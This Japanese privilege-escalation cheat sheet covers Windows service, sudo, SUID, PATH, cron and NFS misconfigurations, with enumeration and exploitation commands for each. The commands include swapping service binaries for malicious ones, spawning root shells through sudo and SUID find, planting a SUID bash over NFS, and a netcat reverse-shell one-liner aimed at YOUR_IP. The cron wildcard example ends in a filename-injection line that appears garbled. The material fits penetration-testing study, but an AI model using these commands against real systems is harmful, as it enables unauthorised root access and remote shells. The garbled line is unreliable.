書き込み可能なサービスバイナリ |
SYSTEM権限などで動作するサービスの実行ファイルが、低権限ユーザーによって書き換え可能な場合に、悪意のあるコードに置き換えて実行させます。 |
Windows |
サービスの実行ファイルパスと権限を確認:
# サービスの実行パス取得
Get-CimInstance -ClassName win32_service | Select Name, StartName, PathName, State | Format-List
# ファイルの権限確認 (icacls)
icacls C:\Path\To\Service.exe
書き込み権限があれば、元のファイルをバックアップし、悪意のある実行ファイル (例: リバースシェルを起動するもの) に置き換えます。その後、サービスを再起動します。
Stop-Service -Name "ServiceName"
# バイナリ置き換え
Start-Service -Name "ServiceName"
|
引用符で囲まれていないサービスパス |
サービスの実行パスがスペースを含み、かつ引用符で囲まれていない場合、Windowsはパスの途中のスペースを区切りと解釈し、意図しない実行ファイルを読み込ませることが可能です。 |
Windows |
引用符で囲まれていないパスを持つサービスを探す:
Get-CimInstance -ClassName win32_service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | Select Name, PathName, StartName
例: `C:\Program Files\Some Service\service.exe` の場合、`C:\Program.exe` が存在すればそれが実行される可能性があります。書き込み可能な場所に悪意のあるファイル (例: `Program.exe`) を配置します。
|
弱いサービスパーミッション |
低権限ユーザーが特定のサービスの構成(実行ファイルパス、起動アカウントなど)を変更できる権限を持っている場合に、設定を悪用します。 |
Windows |
`accesschk.exe` (Sysinternals) や PowerShell で確認:
# 例: accesschk を使用
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
# PowerShell での確認 (特定のサービスに対して)
(Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName).Access | Where-Object { $_.IdentityReference -like "*Authenticated Users*" -or $_.IdentityReference -like "*Everyone*" }
`SERVICE_CHANGE_CONFIG` 権限などがあれば、`sc.exe` で設定を変更:
sc config ServiceName binPath= "C:\path\to\malicious.exe" obj= LocalSystem password= ""
sc stop ServiceName
sc start ServiceName
|
PATH環境変数の悪用 |
特権で実行されるスクリプトやプログラムが、相対パスでコマンドを呼び出しており、PATH環境変数にユーザーが書き込めるディレクトリが含まれている場合に、悪意のあるコマンドを実行させます。 |
Linux |
PATH環境変数の確認:
echo $PATH
書き込み可能なディレクトリを探す (例: `/tmp`, ホームディレクトリ内のパス):
find / -writable -type d 2>/dev/null
特権プロセスが呼び出すコマンドと同じ名前の悪意のあるスクリプトを、PATHの優先順位が高い書き込み可能なディレクトリに配置します。
|
sudoの設定ミス |
`/etc/sudoers` ファイルの設定不備により、特定のユーザーがパスワードなし (`NOPASSWD`) でコマンドを実行できたり、シェルを起動できるコマンド (`find`, `vim`, `less`, `nmap` など) を `sudo` で実行できる場合に悪用します。 |
Linux |
sudoで実行可能なコマンドの確認:
sudo -l
GTFOBins (https://gtfobins.github.io/) などを参照し、許可されたコマンドからシェルを起動する方法を探します。
# 例: find を利用
sudo find . -exec /bin/sh \; -quit
# 例: NOPASSWD で許可されたコマンド
sudo /path/to/allowed_command
|
SUID/SGIDビットの設定ミス |
SUIDビットが設定された実行ファイルは、実行したユーザーに関わらず、ファイルの所有者権限で実行されます (SGIDはグループ権限)。意図せず設定されたSUID/SGIDビットを持つファイルや、脆弱性のあるSUID/SGIDプログラムを悪用します。 |
Linux |
SUID/SGIDビットが設定されたファイルを探す:
# SUID (User)
find / -type f -perm -4000 -ls 2>/dev/null
# SGID (Group)
find / -type f -perm -2000 -ls 2>/dev/null
見つかったファイルがシェルを起動できるか (例: `bash`, `find`, `cp`, `mv`)、既知の脆弱性がないか、書き込み可能でないかを確認します。GTFOBinsも参照。
# 例: SUIDが設定された find
./find . -exec /bin/sh \; -quit
|
Cronジョブ/タスクスケジューラの設定ミス |
root権限やSYSTEM権限で定期実行されるジョブが、書き込み可能なスクリプトやディレクトリを参照している場合、そのスクリプトを書き換えるか、ワイルドカード展開などを悪用して任意のコマンドを実行させます。 |
Linux / Windows |
Cronジョブの確認 (Linux):
ls -l /etc/cron*
cat /etc/crontab
systemctl list-timers --all
タスクスケジューラの確認 (Windows):
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Get-ScheduledTaskInfo
ジョブが実行するスクリプトや、スクリプトが依存するファイル/ディレクトリの権限を確認します。
# Linux例: ワイルドカード悪用 (ジョブが /path/to/dir/* を処理する場合)
cd /path/to/dir
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f' > shell.sh
touch ./-e "cmd=bash shell.sh"
|
NFSの設定ミス |
NFS (Network File System) のエクスポート設定で `no_root_squash` オプションが有効になっている場合、クライアント側のrootユーザーがサーバー上の共有ディレクトリに対してroot権限でアクセスできます。 |
Linux |
NFS共有の確認:
showmount -e TARGET_IP
cat /etc/exports # サーバー側の場合
`no_root_squash` が設定されている共有をマウントし、SUIDビットを設定したバイナリを配置するなどして権限昇格を試みます。
# クライアント側
mkdir /mnt/nfs_share
mount -t nfs TARGET_IP:/exported/path /mnt/nfs_share
cd /mnt/nfs_share
# SUIDバイナリ作成・配置
cp /bin/bash ./rootshell
chown root:root ./rootshell
chmod 4755 ./rootshell
# ターゲットサーバー上で実行 (他のユーザーとして)
/path/on/server/to/rootshell -p
|
コメント